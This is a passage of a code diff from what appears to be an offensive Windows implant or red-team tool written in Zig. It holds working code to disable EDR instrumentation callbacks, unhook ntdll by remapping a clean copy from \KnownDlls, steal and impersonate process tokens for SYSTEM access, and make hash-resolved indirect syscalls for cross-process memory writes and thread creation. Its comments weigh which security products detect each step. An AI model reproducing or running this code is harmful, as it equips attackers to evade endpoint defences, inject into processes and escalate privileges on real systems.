.Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }},
};
_ = adjust(h_token, 0, &tp, 0, null, null);
}
// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback).
// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the
// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but
// immediately returns, effectively neutralizing the callback.
// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
// WARNING: Heavily monitored. CrowdStrike, Defender ATP, and SentinelOne all watch
// NtSetInformationProcess(InfoClass=40) specifically. DbgMan (May 2026): removal of kernel
// callbacks is the domain of BYOVD driver techniques, not user-mode syscalls. Consider
// this technique burn-once — it is detectable by design and runs LAST in startup chain.
pub fn remove_edr_callbacks() void {
escalate_debug_priv();
const PI_CALLBACK: u32 = 40;
const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null;
var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback };
_ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK));
}
// Allocates virtual memory in any process. Spoofed ??? high-value EDR target.
pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6));
}
// Writes memory in any process. Spoofed ??? injection detection target.
// Writes memory in any process.
pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5));
}
// Changes page protection. Spoofed ??? commonly monitored for shellcode/RWX patterns.
// Changes page protection.
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}
// Creates a thread in any process. Spoofed ??? primary EDR/AV injection detection point.
// Creates a thread in any process.
pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11));
}
// Creates a new process. Spoofed ??? fork-and-run is the loudest IOC EDRs look for.
// Creates a new process.
pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11));
@@ -457,4 +397,4 @@ pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWO
pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
}
}
+5 -10
View File
@@ -1,15 +1,10 @@
// Token impersonation — steal token from target process, revert to self.
// All calls via indirect syscalls.
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken, https://ntdoc.m417z.com/ntduplicatetoken
// MITRE: T1134.001 (Access Token Manipulation)
// Token impersonation via indirect syscalls.
const std = @import("std");
const syscall = @import("syscall.zig");
const win = @import("win32.zig");
const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum
// Steals the token from a target process and impersonates it on the current thread.
// pid: target process ID (e.g. winlogon.exe for SYSTEM).
pub fn stealToken(pid: u32) bool {
var cid = std.mem.zeroes(win.CLIENT_ID);
cid.UniqueProcess = @ptrFromInt(@as(usize, pid));
@@ -34,16 +29,16 @@ pub fn stealToken(pid: u32) bool {
return win.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
@ptrCast(&dup_token), @sizeOf(win.HANDLE),
@ptrCast(&dup_token),
@sizeOf(win.HANDLE),
));
}
// Reverts to the process's primary token, stopping impersonation.
// nt_set_information_thread now accepts ?*const anyopaque — null + 0 → revert.
pub fn rev2self() bool {
return win.NT_SUCCESS(syscall.nt_set_information_thread(
syscall.nt_current_thread(),
ThreadImpersonationToken,
null, 0,
null,
0,
));
}
+27 -30
View File
@@ -1,12 +1,6 @@
// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks.
// Ref: https://ntdoc.m417z.com/ntopensection
// MITRE: T1562.001 (Disable or Modify Tools)
// DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne
// deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender
// for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than
// user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant
// against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that
// bypass hooks without unhooking) is the preferred approach.
// Maps clean .text from \KnownDlls\ntdll.dll section object, overwrites EDR hooks.
// Heavily signatured by CrowdStrike and SentinelOne. Irrelevant against MDE which
// uses kernel callbacks and ETW-TI instead of user-mode hooks. FreshyCalls preferred.
const std = @import("std");
const syscall = @import("syscall.zig");
const resolve = @import("resolve.zig");
@@ -14,20 +8,14 @@ const win = @import("win32.zig");
var g_unhooked: bool = false;
// Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object.
// EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the
// original unmodified image mapped at boot by the kernel as a section object.
// We map it into our process, copy clean .text over our hooked .text, and unmap.
pub fn unhookNtdll() void {
if (g_unhooked) return;
g_unhooked = true;
// Resolve ntdll base via ror13 hash (same as syscall.zig does)
const ntdll_hash = resolve.hash_ror13("ntdll.dll");
const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return;
const our_bytes = @as([*]u8, @ptrCast(our_base));
// Parse PE headers to find .text bounds
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
if (dos.e_magic != 0x5A4D) return;
@@ -42,7 +30,11 @@ pub fn unhookNtdll() void {
var text_size: usize = 0;
const section_off = dos.e_lfanew + 4 + 20 + 240;
const sections = @as([*]align(1) extern struct {
Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32,
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
pad: [20]u8,
Characteristics: u32,
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
for (0..nt.FileHeader.NumberOfSections) |i| {
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
@@ -53,12 +45,11 @@ pub fn unhookNtdll() void {
}
if (text_va == 0 or text_size == 0) return;
// Open \KnownDlls\ntdll.dll section object
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
var us: win.UNICODE_STRING = .{
.Length = (@sizeOf(@TypeOf(name)) - 2),
.MaximumLength = @sizeOf(@TypeOf(name)),
.Buffer = @constCast(@ptrCast(&name)),
.Buffer = @ptrCast(@constCast(&name)),
};
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
@@ -70,42 +61,48 @@ pub fn unhookNtdll() void {
return;
defer _ = syscall.nt_close(section_handle);
// Map the section into our process
var view_base: ?*anyopaque = null;
var view_size: win.SIZE_T = 0;
_ = syscall.nt_map_view_of_section(
section_handle, syscall.nt_current_process(),
&view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2
0, win.PAGE_READONLY,
section_handle,
syscall.nt_current_process(),
&view_base,
0,
0,
null,
&view_size,
2, // ViewUnmap = 2
0,
win.PAGE_READONLY,
);
if (view_base != null and view_size >= text_size) {
// Copy clean .text from mapped section to our process's ntdll
const clean_base = @as([*]u8, @ptrCast(view_base));
const our_text = our_bytes[text_va .. text_va + text_size];
// Make our .text writable for the copy
var region_size: win.SIZE_T = text_size;
var old_prot: win.DWORD = 0;
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&base_ptr, &region_size,
win.PAGE_READWRITE, &old_prot,
&base_ptr,
&region_size,
win.PAGE_READWRITE,
&old_prot,
))) return;
@memcpy(our_text, clean_base[0..text_size]);
// Restore protection
base_ptr = @ptrCast(&our_bytes[text_va]);
region_size = text_size;
_ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(),
&base_ptr, &region_size,
win.PAGE_EXECUTE_READ, &old_prot,
&base_ptr,
&region_size,
win.PAGE_EXECUTE_READ,
&old_prot,
);
}
// Cleanup
if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
}
+4 -4
View File
@@ -1,4 +1,4 @@
// Win32 type aliases, constants, and struct definitions ??? data layout only, no function types.
// Win32 type aliases, constants, and struct definitions.
const std = @import("std");
pub const WINAPI = std.builtin.CallingConvention.winapi;
@@ -47,7 +47,7 @@ pub const PULONG = *ULONG;
pub const PSIZE_T = *SIZE_T;
pub const PBOOL = *BOOL;
pub const FARPROC = *const fn() callconv(WINAPI) isize;
pub const FARPROC = *const fn () callconv(WINAPI) isize;
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
@@ -85,7 +85,7 @@ pub const STARTUPINFOEXA = extern struct {
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
// Section access rights ??? for NtOpenSection / NtMapViewOfSection
// Section access rights for NtOpenSection / NtMapViewOfSection
pub const SECTION_MAP_READ: DWORD = 0x0004;
pub const SECTION_MAP_WRITE: DWORD = 0x0002;
pub const SECTION_MAP_EXECUTE: DWORD = 0x0008;
@@ -466,4 +466,4 @@ pub const CRITICAL_SECTION = extern struct {
SpinCount: ULONG_PTR,
};
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;